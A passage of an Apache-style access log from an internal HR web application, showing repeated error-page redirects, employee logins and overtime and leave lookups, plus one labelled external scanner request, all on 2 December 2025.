/eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:26 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:27 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:28 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/mgr/redirect.php?scriptname=MDNH105&appdesc=%E5%8A%A0%E7%8F%AD%E7%AD%BE%E6%A0%B8" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.12.59 - - [02/Dec/2025:09:45:29 +0800] "GET /eHR/mgr/redirect.php?scriptname=page_error&msgtxt=%3Ch3%3EHTTP+404+-+Page+not+found%3C%2Fh3%3E%3Cbr%3E%3Cstrong%3EFile+Name%3A%3C%2Fstrong%3Epage_error%3Cbr%2F%3E%3Cstrong%3EApplication+Name%3C%2Fstrong%3E%3A&target=iframe HTTP/1.1" 302 - 192.168.11.33 - - [02/Dec/2025:09:51:41 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:51:41 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.33 - - [02/Dec/2025:09:51:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:51:44 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.33 - - [02/Dec/2025:09:51:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:51:49 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.33 - - [02/Dec/2025:09:51:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:51:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.33 - - [02/Dec/2025:09:51:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:51:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 7687 192.168.11.33 - - [02/Dec/2025:09:52:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20549 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:52:17 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 20549 192.168.11.33 - - [02/Dec/2025:09:54:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23907 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:54:23 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23907 192.168.11.33 - - [02/Dec/2025:09:54:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23907 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.33 - - [02/Dec/2025:09:54:24 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 23907 100.64.0.1 - - [02/Dec/2025:10:12:28 +0800] "GET / HTTP/1.1" 200 439 "-" "Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity" 100.64.0.1 - - [02/Dec/2025:10:12:28 +0800] "GET / HTTP/1.1" 200 439 192.168.11.60 - - [02/Dec/2025:10:50:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:41 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 192.168.11.60 - - [02/Dec/2025:10:50:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:42 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.60 - - [02/Dec/2025:10:50:45 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:45 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:10:50:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:47 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:50:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:53 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20113 192.168.11.60 - - [02/Dec/2025:10:50:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:50:54 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [02/Dec/2025:10:51:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:02 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [02/Dec/2025:10:51:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165521 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:04 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 165521 192.168.11.60 - - [02/Dec/2025:10:51:11 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1361000 HTTP/1.1" 200 5635 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:11 +0800] "POST /eHR/ess/redirect.php?scriptname=view_flowchart&action=view_flowchart&apply_type=overtime&flow_seqno=1361000 HTTP/1.1" 200 5635 192.168.11.60 - - [02/Dec/2025:10:51:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:32 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AB%8B%E6%9F%A5%E8%A9%A2 HTTP/1.1" 200 6457 192.168.11.60 - - [02/Dec/2025:10:51:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:34 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.60 - - [02/Dec/2025:10:51:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:36 +0800] "GET /eHR/ess/index.php?lang=ZHT HTTP/1.1" 200 8829 192.168.11.60 - - [02/Dec/2025:10:51:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:46 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.60 - - [02/Dec/2025:10:51:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 "http://192.168.1.83:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0" 192.168.11.60 - - [02/Dec/2025:10:51:52 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 20116 192.168.11.60 - - [02/Dec/2025:10:51:53 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10646 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) 